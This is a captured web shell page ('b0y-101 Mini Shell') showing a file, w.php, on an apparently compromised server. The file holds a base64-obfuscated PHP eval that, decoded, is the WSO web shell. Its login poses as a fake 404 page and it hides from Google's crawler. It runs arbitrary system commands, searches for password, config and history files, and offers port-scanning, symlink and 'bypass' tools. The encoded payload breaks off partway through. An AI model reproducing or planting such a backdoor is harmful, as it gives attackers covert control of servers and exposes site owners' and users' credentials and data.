b0y-101 Mini Shell


Current Path : E:/www/advanced-mba/report/langues/
File Upload :
Current File : E:/www/advanced-mba/report/langues/w.php

<?php eval("?>".base64_decode("PD9waHAgJGF1dGhfcGFzcyA9ICIyN2U1OTY0Yjg5ODMyZjhmMzhmZTk4ODIzYzdjMTQzYyI7CiAkY29sb3IgPSAiZmY3ZjAwIjsKICRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiBAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7CiBpZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKIGV4aXQ7CiB9IEBzZXNzaW9uX3N0YXJ0KCk7CiBAZXJyb3JfcmVwb3J0aW5nKDApOwogQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CiBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOwogQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwogQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiBAc2V0X3RpbWVfbGltaXQoMCk7CiBAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwogQGRlZmluZSgnVkVSU0lPTicsICcnKTsKIGlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgeyBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7IHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7CiB9ICRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwogfSBmdW5jdGlvbiBwcmludExvZ2luKCkgeyBlY2hvICc8aDE+Tm90IEZvdW5kPC9oMT4KIDxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgogPGhyPgogPGFkZHJlc3M+QXBhY2hlIFNlcnZlciBhdCAnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nIFBvcnQgODA8L2FkZHJlc3M+CiA8c3R5bGU+aW5wdXQgeyBtYXJnaW46MDsKYmFja2dyb3VuZC1jb2xvcjojZmZmOwpib3JkZXI6MXB4IHNvbGlkICNmZmY7CiB9PC9zdHlsZT4KIDxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPjwvZm9ybT48L2NlbnRlcj4nOwogZXhpdDsKIH0gaWYoICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSApKSBpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fCAoIGlzc2V0KCAkX1BPU1RbJ3Bhc3MnXSApICYmICggbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzICkgKSApICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwogZWxzZSBwcmludExvZ2luKCk7CiBpZiggc3RydG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMpICkgPT0gIndpbiIgKSAkb3MgPSAnd2luJzsKIGVsc2UgJG9zID0gJ25peCc7CiAkc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwogJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAkaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CiBpZiggaXNzZXQoICRfUE9TVFsnYyddICkgKSBAY2hkaXIoJF9QT1NUWydjJ10pOwogJGN3ZCA9IEBnZXRjd2QoKTsKIGlmKCAkb3MgPT0gJ3dpbicpIHsgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOwogJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7CiB9IGlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKSAkY3dkIC49ICcvJzsKIGlmKCRvcyA9PSAnd2luJykgeyAkYWxpYXNlcyA9IGFycmF5KCAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLCAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLCAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLCAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiICk7CiB9IGVsc2UgeyAkYWxpYXNlcyA9IGFycmF5KCAiTGlzdCBkaXIiID0+ICJscyAtbGEiLCAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsICJGaW5kIiA9PiAiIiwgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLCAiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLCAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLCAiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLCAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLCAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLCAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLCAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLCAiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLCAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLCAiTG9jYXRlIiA9PiAiIiwgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLCAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwgImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwgImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLCAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLCAibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLCAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLCAibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLCAibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLCAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLCAibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwgImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiICk7CiB9IGZ1bmN0aW9uIGV4KCRpbikgeyAkb3V0ID0gJyc7CiBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyBAZXhlYygkaW4sJG91dCk7CiAkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IG9iX3N0YXJ0KCk7CiBAcGFzc3RocnUoJGluKTsKICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyBvYl9zdGFydCgpOwogQHN5c3RlbSgkaW4pOwogJG91dCA9IG9iX2dldF9jbGVhbigpOwogfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwogfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsgJG91dCA9ICIiOwogd2hpbGUoIUBmZW9mKCRmKSkgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKIHBjbG9zZSgkZik7CiB9IHJldHVybiAkb3V0OwogfSBmdW5jdGlvbiB3aGljaCgkcCkgeyAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKIGlmKCFlbXB0eSgkcGF0aCkpIHJldHVybiAkcGF0aDsKIHJldHVybiBmYWxzZTsKIH0gZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7IGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkgJF9QT1NUWydjaGFyc2V0J10gPSAiVVRGLTgiOwogZ2xvYmFsICRjb2xvcjsKIGVjaG8gJzxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOwogY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5yMDB0LmluZm8gd3NvIFNoZWxsPC90aXRsZT48bGluayBSRUw9IlNIT1JUQ1VUIElDT04iIEhSRUY9Imh0dHA6Ly9pbWFnaXplci5pbWFnZXNoYWNrLnVzL2EvaW1nNDQwLzQyNzMvNmZpeC5wbmciPgogPHN0eWxlPgogYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMjIyOwpjb2xvcjojZmZmOwp9CiBib2R5LHRkLHRoIHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hOwptYXJnaW46MDsKdmVydGljYWwtYWxpZ246dG9wOwogfQogc3BhbixoMSxhIHsgY29sb3I6Jy4kY29sb3IuJyAhaW1wb3J0YW50OwogfQogc3BhbiB7IGZvbnQtd2VpZ2h0OiBib2xkZXI7CiB9CiBoMSB7IHBhZGRpbmc6IDJweCA1cHg7CmZvbnQ6IDE0cHQgVmVyZGFuYTsKbWFyZ2luOjBweCAwIDAgNXB4OwogfQogZGl2LmNvbnRlbnQgeyBwYWRkaW5nOiA1cHg7Cm1hcmdpbjowIDVweDsKYmFja2dyb3VuZDogIzMzMzMzMzsKYm9yZGVyLWJvdHRvbTo1cHggc29saWQgIzQ0NDsKfQogYSB7IHRleHQtZGVjb3JhdGlvbjpub25lOwogfQogYTpob3ZlciB7IC8qYmFja2dyb3VuZDojNWU1ZTVlOwoqLyB9CiAubWwxIHsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0OwpwYWRkaW5nOjVweDsKbWFyZ2luOjA7Cm92ZXJmbG93OiBhdXRvOwogfQogLmJpZ2FyZWEgeyB3aWR0aDoxMDAlOwpoZWlnaHQ6MjUwcHg7Cm1hcmdpbi10b3A6NXB4Owp9CiBpbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCB7IG1hcmdpbjowOwpjb2xvcjojZmY4YzAwOwpiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7CmJvcmRlcjoxcHggc29saWQgJy4kY29sb3IuJzsKIGZvbnQ6IDlwdCBNb25vc3BhY2UsIkNvdXJpZXIgTmV3IjsKIH0KIGlucHV0W3R5cGU9ImJ1dHRvbiJdOmhvdmVyLGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOicuJGNvbG9yLic7CmNvbG9yOiMwMDA7Cn0gCiBmb3JtIHsgbWFyZ2luOjBweDsKIH0KICN0b29sc1RibCB7IHRleHQtYWxpZ246Y2VudGVyOwogfQogLnRvb2xzSW5wIHsgd2lkdGg6IDgwJTsKIH0KIC5tYWluIHRoIHt0ZXh0LWFsaWduOmxlZnQ7CmJhY2tncm91bmQtY29sb3I6IzU1NTsKZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzAwODA4MDsKfQogLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsKfQogLm1lbnUge2JhY2tncm91bmQ6ICMzMzM7Cn0KIC5tZW51IHRoe3BhZGRpbmc6NXB4Owpmb250LXdlaWdodDpib2xkOwp9CiAubWVudSB0aDpob3ZlcntiYWNrZ3JvdW5kOiMwMDgwODA7Cn0KIC5sMSB7YmFja2dyb3VuZC1jb2xvcjojNDQ0Owp9CiBwcmUge2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlOwp9CiAjY290X3RsX2ZpeGVke3Bvc2l0aW9uOmZpeGVkOwpib3R0b206MHB4Owpmb250LXNpemU6MTJweDsKbGVmdDowcHg7CnBhZGRpbmc6NHB4IDA7CmNsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7Cl9sZWZ0OmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbExlZnQgKyBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGggLSBvZmZzZXRXaWR0aCk7Cn0KIC5sb2dvIHt0ZXh0LWFsaWduOmNlbnRlcjsKZm9udC1zaXplOjYwcHg7Cn0KIC5sb2dvIHN1cCB7Zm9udC1zaXplOiAxNXB4Owp2ZXJ0aWNhbC1hbGlnbjogdG9wOwptYXJnaW4tbGVmdDogLTE0cHg7Cn0KIC5jcHIge21hcmdpbi1ib3R0b206NXB4Owpmb250LXdlaWdodDpib2xkOwp9CiAuY3BiIHt3aWR0aDozNHB4OwptYXJnaW46MCA1cHg7Cn0KIC5lY2ExIHtmb250LXNpemU6IDE2cHg7CmZvbnQtd2VpZ2h0OiBib2xkOwpsZXR0ZXItc3BhY2luZzogMTBweDsKbWFyZ2luOiAwIDJweCAwIDE3cHg7CnRleHQtYWxpZ246IGNlbnRlcjsKfQogLmVjYTIge2ZvbnQtc2l6ZTogMTNweDsKZm9udC13ZWlnaHQ6IGJvbGQ7CmxldHRlci1zcGFjaW5nOiAzcHg7Cm1hcmdpbjogMCAycHggMCA3cHg7CnRleHQtYWxpZ246IGNlbnRlcjsKfQogLm5wb2FkIHRkIHtwYWRkaW5nOjA7Cn0KIDwvc3R5bGU+CiA8c2NyaXB0PgogZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiBpZihhICE9IG51bGwpZG9jdW1lbnQubWYuYS52YWx1ZT1hOwoKIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7CgogaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsKCiBpZihwMiAhPSBudWxsKWRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyOwoKIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7CgogaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsKCiB9CiBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoKIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwoKIH0KIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgogdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOwoKIGZvcihpPTA7Cmk8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoOwppKyspCiBwYXJhbXMgKz0gIiYiK2RvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7Cgogc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7CgogfQogZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgCiBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CiByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCiByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKCiByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CgogcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CgogcmVxLnNlbmQocGFyYW1zKTsKCiB9IAogZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIHsKIHJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOwoKIGlmIChyZXEpIHsKIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwoKIHJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsKCiByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKCiByZXEuc2VuZChwYXJhbXMpOwoKIH0KIH0KIH0KIGZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7CiBpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkKIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CiAvL2FsZXJ0KHJlcS5yZXNwb25zZVRleHQpOwoKIHZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7CgogdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKCiBldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7CgogfSAKIGVsc2UgYWxlcnQoIlJlcXVlc3QgZXJyb3IhIik7CgogfQogPC9zY3JpcHQ+CiA8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsKd2lkdGg6MTAwJTsKdG9wOjA7CmxlZnQ6MDsKIj48ZGl2IHN0eWxlPSJtYXJnaW46NXB4OwpiYWNrZ3JvdW5kOiM0NDQ7CiI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7CiI+CiA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7CiI+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLiciPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJykuJyI+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogPC9mb3JtPic7CiAkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKICR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKICR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKICRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7CiAka2VybmVsID0gQHBocF91bmFtZSgncycpOwogaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7ICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICR1aWQgPSBAZ2V0bXl1aWQoKTsKICRnaWQgPSBAZ2V0bXlnaWQoKTsKICRncm91cCA9ICI/IjsKIH0gZWxzZSB7ICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogJHVzZXIgPSAkdWlkWyduYW1lJ107CiAkdWlkID0gJHVpZFsndWlkJ107CiAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAkZ2lkID0gJGdpZFsnZ2lkJ107CiB9ICRjd2RfbGlua3MgPSAnJzsKICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAkbj1jb3VudCgkcGF0aCk7CiBmb3IoJGk9MDsKJGk8JG4tMTsKJGkrKykgeyAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiBmb3IoJGo9MDsKJGo8PSRpOwokaisrKSAkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7CiAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiB9ICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOwogJG9wdF9jaGFyc2V0cyA9ICcnOwogZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ0RlbGV0ZSBMT0cnPT4nRGVsZXRlTE9HJywnU2FmZSBNb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQ2dpJz0+J0NnaScsJ05ldHdvcmsnPT4nTmV0d29yaycsJ1JlYWRhYmxlIERpcnMnPT4nUmVhZGFibGUnLCdQb3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdTeW1saW5rJz0+J1N5bWxpbmsnLCdTUUxCVUREWSc9PidTUUxCVUREWScsJ0J5cGFzcyc9PidCeXBhc3MnLCdQeXRob24nPT4nUHl0aG9uJyk7CiBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkgJG1bJ1NlbGZLaWxsJ10gPSAnU2VsZlJlbW92ZSc7CiAkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsKICRtZW51ID0gJyc7CiBmb3JlYWNoKCRtIGFzICRrID0+ICR2KSAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICRkcml2ZXMgPSAiIjsKIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgeyBmb3JlYWNoKCByYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUgKXsgaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKSAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiB9ICRkcml2ZXMgLj0gJzxiciAvPjogJzsKIH0gaWYoJEdMT0JBTFNbJ29